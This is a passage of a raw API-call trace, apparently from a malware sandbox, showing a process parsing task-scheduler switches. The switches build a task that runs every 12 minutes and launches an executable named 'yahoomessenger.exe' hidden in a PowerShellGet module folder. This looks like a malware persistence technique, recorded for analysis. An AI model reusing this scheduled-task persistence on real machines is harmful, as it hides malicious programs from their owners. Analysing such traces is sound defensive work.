_ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.969] lstrlenW (lpString="|query|") returned 7 [0066.969] lstrlenW (lpString="|sc|") returned 4 [0066.969] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0066.969] SetLastError (dwErrCode=0x490) [0066.969] lstrlenW (lpString="change") returned 6 [0066.969] lstrlenW (lpString="change") returned 6 [0066.969] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.969] lstrlenW (lpString="sc") returned 2 [0066.969] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.969] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|change|") returned 8 [0066.969] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.969] lstrlenW (lpString="|change|") returned 8 [0066.969] lstrlenW (lpString="|sc|") returned 4 [0066.969] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0066.969] SetLastError (dwErrCode=0x490) [0066.969] lstrlenW (lpString="run") returned 3 [0066.970] lstrlenW (lpString="run") returned 3 [0066.970] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.970] lstrlenW (lpString="sc") returned 2 [0066.970] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.970] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|run|") returned 5 [0066.970] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.970] lstrlenW (lpString="|run|") returned 5 [0066.970] lstrlenW (lpString="|sc|") returned 4 [0066.970] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0066.970] SetLastError (dwErrCode=0x490) [0066.970] lstrlenW (lpString="end") returned 3 [0066.970] lstrlenW (lpString="end") returned 3 [0066.970] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.970] lstrlenW (lpString="sc") returned 2 [0066.970] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.970] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|end|") returned 5 [0066.970] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.970] lstrlenW (lpString="|end|") returned 5 [0066.970] lstrlenW (lpString="|sc|") returned 4 [0066.970] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0066.970] SetLastError (dwErrCode=0x490) [0066.970] lstrlenW (lpString="showsid") returned 7 [0066.970] lstrlenW (lpString="showsid") returned 7 [0066.971] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.971] lstrlenW (lpString="sc") returned 2 [0066.971] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.971] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|showsid|") returned 9 [0066.971] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.971] lstrlenW (lpString="|showsid|") returned 9 [0066.971] lstrlenW (lpString="|sc|") returned 4 [0066.971] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0066.971] SetLastError (dwErrCode=0x490) [0066.971] SetLastError (dwErrCode=0x490) [0066.971] SetLastError (dwErrCode=0x0) [0066.971] lstrlenW (lpString="/sc") returned 3 [0066.971] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0066.971] SetLastError (dwErrCode=0x490) [0066.971] SetLastError (dwErrCode=0x0) [0066.971] lstrlenW (lpString="/sc") returned 3 [0066.971] GetProcessHeap () returned 0x170000 [0066.971] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c450 [0066.971] GetProcessHeap () returned 0x170000 [0066.971] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce80 [0066.971] SetLastError (dwErrCode=0x0) [0066.971] SetLastError (dwErrCode=0x0) [0066.971] lstrlenW (lpString="MINUTE") returned 6 [0066.971] lstrlenW (lpString="-/") returned 2 [0066.971] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0066.971] SetLastError (dwErrCode=0x490) [0066.972] SetLastError (dwErrCode=0x490) [0066.972] SetLastError (dwErrCode=0x0) [0066.972] lstrlenW (lpString="MINUTE") returned 6 [0066.972] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0066.972] SetLastError (dwErrCode=0x490) [0066.972] SetLastError (dwErrCode=0x0) [0066.972] lstrlenW (lpString="MINUTE") returned 6 [0066.972] GetProcessHeap () returned 0x170000 [0066.972] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18c470 [0066.972] GetProcessHeap () returned 0x170000 [0066.972] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ceb0 [0066.972] SetLastError (dwErrCode=0x0) [0066.972] SetLastError (dwErrCode=0x0) [0066.972] lstrlenW (lpString="/mo") returned 3 [0066.972] lstrlenW (lpString="-/") returned 2 [0066.972] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.972] lstrlenW (lpString="?") returned 1 [0066.972] lstrlenW (lpString="?") returned 1 [0066.972] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.972] lstrlenW (lpString="mo") returned 2 [0066.972] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.972] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.972] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.972] lstrlenW (lpString="|?|") returned 3 [0066.973] lstrlenW (lpString="|mo|") returned 4 [0066.973] SetLastError (dwErrCode=0x490) [0066.973] lstrlenW (lpString="create") returned 6 [0066.973] lstrlenW (lpString="create") returned 6 [0066.973] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.973] lstrlenW (lpString="mo") returned 2 [0066.973] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.973] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.973] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.973] lstrlenW (lpString="|create|") returned 8 [0066.973] lstrlenW (lpString="|mo|") returned 4 [0066.973] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0066.973] SetLastError (dwErrCode=0x490) [0066.973] lstrlenW (lpString="delete") returned 6 [0066.973] lstrlenW (lpString="delete") returned 6 [0066.973] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.973] lstrlenW (lpString="mo") returned 2 [0066.973] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.973] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|delete|") returned 8 [0066.973] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.973] lstrlenW (lpString="|delete|") returned 8 [0066.973] lstrlenW (lpString="|mo|") returned 4 [0066.973] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0066.974] SetLastError (dwErrCode=0x490) [0066.974] lstrlenW (lpString="query") returned 5 [0066.974] lstrlenW (lpString="query") returned 5 [0066.974] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.974] lstrlenW (lpString="mo") returned 2 [0066.974] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.974] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|query|") returned 7 [0066.974] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.974] lstrlenW (lpString="|query|") returned 7 [0066.974] lstrlenW (lpString="|mo|") returned 4 [0066.974] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0066.974] SetLastError (dwErrCode=0x490) [0066.974] lstrlenW (lpString="change") returned 6 [0066.974] lstrlenW (lpString="change") returned 6 [0066.974] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.974] lstrlenW (lpString="mo") returned 2 [0066.974] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.974] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|change|") returned 8 [0066.974] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.974] lstrlenW (lpString="|change|") returned 8 [0066.974] lstrlenW (lpString="|mo|") returned 4 [0066.974] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0066.974] SetLastError (dwErrCode=0x490) [0066.975] lstrlenW (lpString="run") returned 3 [0066.975] lstrlenW (lpString="run") returned 3 [0066.975] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.975] lstrlenW (lpString="mo") returned 2 [0066.975] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.975] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|run|") returned 5 [0066.975] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.975] lstrlenW (lpString="|run|") returned 5 [0066.975] lstrlenW (lpString="|mo|") returned 4 [0066.975] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0066.975] SetLastError (dwErrCode=0x490) [0066.975] lstrlenW (lpString="end") returned 3 [0066.975] lstrlenW (lpString="end") returned 3 [0066.975] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.975] lstrlenW (lpString="mo") returned 2 [0066.975] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.975] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|end|") returned 5 [0066.975] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.975] lstrlenW (lpString="|end|") returned 5 [0066.975] lstrlenW (lpString="|mo|") returned 4 [0066.975] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0066.975] SetLastError (dwErrCode=0x490) [0066.975] lstrlenW (lpString="showsid") returned 7 [0066.976] lstrlenW (lpString="showsid") returned 7 [0066.976] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.976] lstrlenW (lpString="mo") returned 2 [0066.976] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.976] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|showsid|") returned 9 [0066.976] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|mo|") returned 4 [0066.976] lstrlenW (lpString="|showsid|") returned 9 [0066.976] lstrlenW (lpString="|mo|") returned 4 [0066.976] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0066.976] SetLastError (dwErrCode=0x490) [0066.976] SetLastError (dwErrCode=0x490) [0066.976] SetLastError (dwErrCode=0x0) [0066.976] lstrlenW (lpString="/mo") returned 3 [0066.976] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0066.976] SetLastError (dwErrCode=0x490) [0066.976] SetLastError (dwErrCode=0x0) [0066.976] lstrlenW (lpString="/mo") returned 3 [0066.976] GetProcessHeap () returned 0x170000 [0066.976] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c490 [0066.976] GetProcessHeap () returned 0x170000 [0066.976] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cee0 [0066.976] SetLastError (dwErrCode=0x0) [0066.976] SetLastError (dwErrCode=0x0) [0066.976] lstrlenW (lpString="12") returned 2 [0066.976] lstrlenW (lpString="-/") returned 2 [0066.976] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0066.977] SetLastError (dwErrCode=0x490) [0066.977] SetLastError (dwErrCode=0x490) [0066.977] SetLastError (dwErrCode=0x0) [0066.977] lstrlenW (lpString="12") returned 2 [0066.977] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0066.977] SetLastError (dwErrCode=0x490) [0066.977] SetLastError (dwErrCode=0x0) [0066.977] lstrlenW (lpString="12") returned 2 [0066.977] GetProcessHeap () returned 0x170000 [0066.977] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x18c4b0 [0066.977] GetProcessHeap () returned 0x170000 [0066.977] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cf10 [0066.977] SetLastError (dwErrCode=0x0) [0066.977] SetLastError (dwErrCode=0x0) [0066.977] lstrlenW (lpString="/tr") returned 3 [0066.977] lstrlenW (lpString="-/") returned 2 [0066.977] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.977] lstrlenW (lpString="?") returned 1 [0066.977] lstrlenW (lpString="?") returned 1 [0066.977] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.977] lstrlenW (lpString="tr") returned 2 [0066.977] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.977] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.977] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.977] lstrlenW (lpString="|?|") returned 3 [0066.978] lstrlenW (lpString="|tr|") returned 4 [0066.978] SetLastError (dwErrCode=0x490) [0066.978] lstrlenW (lpString="create") returned 6 [0066.978] lstrlenW (lpString="create") returned 6 [0066.978] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.978] lstrlenW (lpString="tr") returned 2 [0066.978] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.978] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.978] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.978] lstrlenW (lpString="|create|") returned 8 [0066.978] lstrlenW (lpString="|tr|") returned 4 [0066.978] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0066.978] SetLastError (dwErrCode=0x490) [0066.978] lstrlenW (lpString="delete") returned 6 [0066.978] lstrlenW (lpString="delete") returned 6 [0066.978] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.978] lstrlenW (lpString="tr") returned 2 [0066.978] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.978] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|delete|") returned 8 [0066.978] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.978] lstrlenW (lpString="|delete|") returned 8 [0066.978] lstrlenW (lpString="|tr|") returned 4 [0066.979] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0066.979] SetLastError (dwErrCode=0x490) [0066.979] lstrlenW (lpString="query") returned 5 [0066.979] lstrlenW (lpString="query") returned 5 [0066.979] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.979] lstrlenW (lpString="tr") returned 2 [0066.979] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.979] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|query|") returned 7 [0066.979] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.979] lstrlenW (lpString="|query|") returned 7 [0066.979] lstrlenW (lpString="|tr|") returned 4 [0066.979] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0066.979] SetLastError (dwErrCode=0x490) [0066.979] lstrlenW (lpString="change") returned 6 [0066.979] lstrlenW (lpString="change") returned 6 [0066.979] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.979] lstrlenW (lpString="tr") returned 2 [0066.979] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.979] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|change|") returned 8 [0066.979] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.979] lstrlenW (lpString="|change|") returned 8 [0066.979] lstrlenW (lpString="|tr|") returned 4 [0066.980] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0066.980] SetLastError (dwErrCode=0x490) [0066.980] lstrlenW (lpString="run") returned 3 [0066.980] lstrlenW (lpString="run") returned 3 [0066.980] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.980] lstrlenW (lpString="tr") returned 2 [0066.980] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.980] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|run|") returned 5 [0066.980] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.980] lstrlenW (lpString="|run|") returned 5 [0066.980] lstrlenW (lpString="|tr|") returned 4 [0066.980] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0066.980] SetLastError (dwErrCode=0x490) [0066.980] lstrlenW (lpString="end") returned 3 [0066.980] lstrlenW (lpString="end") returned 3 [0066.980] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.980] lstrlenW (lpString="tr") returned 2 [0066.980] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.980] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|end|") returned 5 [0066.980] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.980] lstrlenW (lpString="|end|") returned 5 [0066.980] lstrlenW (lpString="|tr|") returned 4 [0066.980] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0066.980] SetLastError (dwErrCode=0x490) [0066.981] lstrlenW (lpString="showsid") returned 7 [0066.981] lstrlenW (lpString="showsid") returned 7 [0066.981] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.981] lstrlenW (lpString="tr") returned 2 [0066.981] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.981] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|showsid|") returned 9 [0066.981] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tr|") returned 4 [0066.981] lstrlenW (lpString="|showsid|") returned 9 [0066.981] lstrlenW (lpString="|tr|") returned 4 [0066.981] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0066.981] SetLastError (dwErrCode=0x490) [0066.981] SetLastError (dwErrCode=0x490) [0066.981] SetLastError (dwErrCode=0x0) [0066.981] lstrlenW (lpString="/tr") returned 3 [0066.981] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0066.981] SetLastError (dwErrCode=0x490) [0066.981] SetLastError (dwErrCode=0x0) [0066.981] lstrlenW (lpString="/tr") returned 3 [0066.981] GetProcessHeap () returned 0x170000 [0066.981] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c4d0 [0066.981] GetProcessHeap () returned 0x170000 [0066.981] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cf40 [0066.981] SetLastError (dwErrCode=0x0) [0066.981] SetLastError (dwErrCode=0x0) [0066.981] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.982] lstrlenW (lpString="-/") returned 2 [0066.982] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0066.982] SetLastError (dwErrCode=0x490) [0066.982] SetLastError (dwErrCode=0x490) [0066.982] SetLastError (dwErrCode=0x0) [0066.982] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.982] StrChrIW (lpStart="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'" [0066.982] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.982] GetProcessHeap () returned 0x170000 [0066.982] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c4f0 [0066.982] _memicmp (_Buf1=0x18c4f0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.982] GetProcessHeap () returned 0x170000 [0066.982] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18c510 [0066.982] GetProcessHeap () returned 0x170000 [0066.982] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c530 [0066.982] _memicmp (_Buf1=0x18c530, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.982] GetProcessHeap () returned 0x170000 [0066.982] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc6) returned 0x18c550 [0066.982] SetLastError (dwErrCode=0x7a) [0066.982] SetLastError (dwErrCode=0x0) [0066.982] SetLastError (dwErrCode=0x0) [0066.982] lstrlenW (lpString="'C") returned 2 [0066.982] lstrlenW (lpString="-/") returned 2 [0066.983] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0066.983] SetLastError (dwErrCode=0x490) [0066.983] SetLastError (dwErrCode=0x490) [0066.983] SetLastError (dwErrCode=0x0) [0066.983] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.983] GetProcessHeap () returned 0x170000 [0066.983] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc4) returned 0x18c620 [0066.983] GetProcessHeap () returned 0x170000 [0066.983] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cf70 [0066.983] SetLastError (dwErrCode=0x0) [0066.983] SetLastError (dwErrCode=0x0) [0066.983] lstrlenW (lpString="/rl") returned 3 [0066.983] lstrlenW (lpString="-/") returned 2 [0066.983] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.983] lstrlenW (lpString="?") returned 1 [0066.983] lstrlenW (lpString="?") returned 1 [0066.983] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.983] lstrlenW (lpString="rl") returned 2 [0066.983] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.983] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.983] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.983] lstrlenW (lpString="|?|") returned 3 [0066.983] lstrlenW (lpString="|rl|") returned 4 [0066.983] SetLastError (dwErrCode=0x490) [0066.983] lstrlenW (lpString="create") returned 6 [0066.983] lstrlenW (lpString="create") returned 6 [0066.984] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.984] lstrlenW (lpString="rl") returned 2 [0066.984] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.984] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.984] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.984] lstrlenW (lpString="|create|") returned 8 [0066.984] lstrlenW (lpString="|rl|") returned 4 [0066.984] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0066.984] SetLastError (dwErrCode=0x490) [0066.984] lstrlenW (lpString="delete") returned 6 [0066.984] lstrlenW (lpString="delete") returned 6 [0066.984] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.984] lstrlenW (lpString="rl") returned 2 [0066.984] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.984] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|delete|") returned 8 [0066.984] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.984] lstrlenW (lpString="|delete|") returned 8 [0066.984] lstrlenW (lpString="|rl|") returned 4 [0066.984] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0066.984] SetLastError (dwErrCode=0x490) [0066.984] lstrlenW (lpString="query") returned 5 [0066.984] lstrlenW (lpString="query") returned 5 [0066.984] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.985] lstrlenW (lpString="rl") returned 2 [0066.985] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.985] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|query|") returned 7 [0066.985] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|rl|") returned 4 [0066.985] lstrlenW (lpString="|query|") returned 7 [0066.985] lstrlenW (lpString="|rl|") returned 4 [0066.985] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0066.985] SetLastError (dwErrCode=0x490) [0066.985] lstrlenW (lpString="change") returned 6 [0066.985] 